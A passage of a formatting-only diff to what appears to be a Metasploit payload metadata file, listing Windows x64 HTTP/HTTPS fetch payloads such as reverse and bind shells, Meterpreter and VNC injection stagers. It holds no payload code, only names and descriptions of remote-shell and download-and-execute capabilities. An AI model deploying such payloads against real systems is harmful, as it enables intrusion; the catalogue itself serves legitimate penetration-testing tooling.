"aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218459,9 +222152,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218475,8 +222166,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218489,9 +222179,7 @@ "payload_cmd/windows/http/x64/shell/reverse_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218501,9 +222189,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218517,8 +222203,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218531,9 +222216,7 @@ "payload_cmd/windows/http/x64/shell_bind_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/http/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218542,9 +222225,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218558,8 +222239,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218570,9 +222250,7 @@ "payload_cmd/windows/http/x64/shell_reverse_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/http/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218581,9 +222259,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218597,8 +222273,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218609,9 +222284,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218637,8 +222310,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218651,9 +222323,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218680,8 +222350,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218694,9 +222363,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218723,8 +222390,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218737,9 +222403,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218765,8 +222429,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218779,9 +222442,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218812,8 +222473,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218826,9 +222486,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218855,8 +222513,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218869,9 +222526,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_http": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218898,8 +222553,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218912,9 +222566,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_https": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218943,8 +222595,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218957,9 +222608,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218985,8 +222634,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218999,9 +222647,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219032,8 +222678,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219046,9 +222691,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219075,8 +222718,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219089,9 +222731,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_winhttp": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219118,8 +222758,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219132,9 +222771,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_winhttps": { "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219161,8 +222798,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219175,9 +222811,7 @@ "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219187,9 +222821,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219203,8 +222835,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219217,9 +222848,7 @@ "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219230,9 +222859,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219246,8 +222873,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219260,9 +222886,7 @@ "payload_cmd/windows/https/x64/custom/bind_named_pipe": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219272,9 +222896,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219288,8 +222910,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219302,9 +222923,7 @@ "payload_cmd/windows/https/x64/custom/bind_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219314,9 +222933,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219330,8 +222947,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219344,9 +222960,7 @@ "payload_cmd/windows/https/x64/custom/bind_tcp_rc4": { "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219361,9 +222975,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219377,8 +222989,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219391,9 +223002,7 @@ "payload_cmd/windows/https/x64/custom/bind_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219404,9 +223013,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219420,8 +223027,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219434,9 +223040,7 @@ "payload_cmd/windows/https/x64/custom/reverse_http": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219446,9 +223050,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219462,8 +223064,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219476,9 +223077,7 @@ "payload_cmd/windows/https/x64/custom/reverse_https": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219490,9 +223089,7 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219506,8 +223103,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219520,9 +223116,7 @@ "payload_cmd/windows/https/x64/custom/reverse_named_pipe": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/https/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219532,9 +223126,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219548,8 +223140,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219562,9 +223153,7 @@ "payload_cmd/windows/https/x64/custom/reverse_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219574,9 +223163,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219590,8 +223177,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219604,9 +223190,7 @@ "payload_cmd/windows/https/x64/custom/reverse_tcp_rc4": { "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219621,9 +223205,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219637,8 +223219,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219651,9 +223232,7 @@ "payload_cmd/windows/https/x64/custom/reverse_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219664,9 +223243,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219680,8 +223257,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219694,9 +223270,7 @@ "payload_cmd/windows/https/x64/custom/reverse_winhttp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219706,9 +223280,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219722,8 +223294,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219736,9 +223307,7 @@ "payload_cmd/windows/https/x64/custom/reverse_winhttps": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219748,9 +223317,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219764,8 +223331,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219778,9 +223344,7 @@ "payload_cmd/windows/https/x64/encrypted_shell/reverse_tcp": { "name": "HTTPS Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219790,9 +223354,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219806,8 +223368,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219820,9 +223381,7 @@ "payload_cmd/windows/https/x64/encrypted_shell_reverse_tcp": { "name": "HTTPS Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/https/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219832,9 +223391,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219848,8 +223405,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219860,9 +223416,7 @@ "payload_cmd/windows/https/x64/exec": { "name": "HTTPS Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/https/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219871,9 +223425,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219887,8 +223439,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219899,9 +223450,7 @@ "payload_cmd/windows/https/x64/loadlibrary": { "name": "HTTPS Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/https/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219911,9 +223460,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219927,8 +223474,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219939,9 +223485,7 @@ "payload_cmd/windows/https/x64/messagebox": { "name": "HTTPS Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/https/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219950,9 +223494,7 @@ "pasta " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219966,8 +223508,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219978,9 +223519,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220008,8 +223547,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220022,9 +223560,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220052,8 +223588,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220066,9 +223601,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220097,8 +223630,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220111,9 +223643,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220141,8 +223671,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220155,9 +223684,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220189,8 +223716,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220203,9 +223729,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220233,8 +223757,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220247,9 +223770,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_http": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220277,8 +223798,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220291,9 +223811,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_https": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220324,8 +223842,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220338,9 +223855,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_named_pipe": { "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220368,8 +223883,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220382,9 +223896,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220412,8 +223924,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220426,9 +223937,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220460,8 +223969,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220474,9 +223982,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220504,8 +224010,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220518,9 +224023,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_winhttp": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220548,8 +224051,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 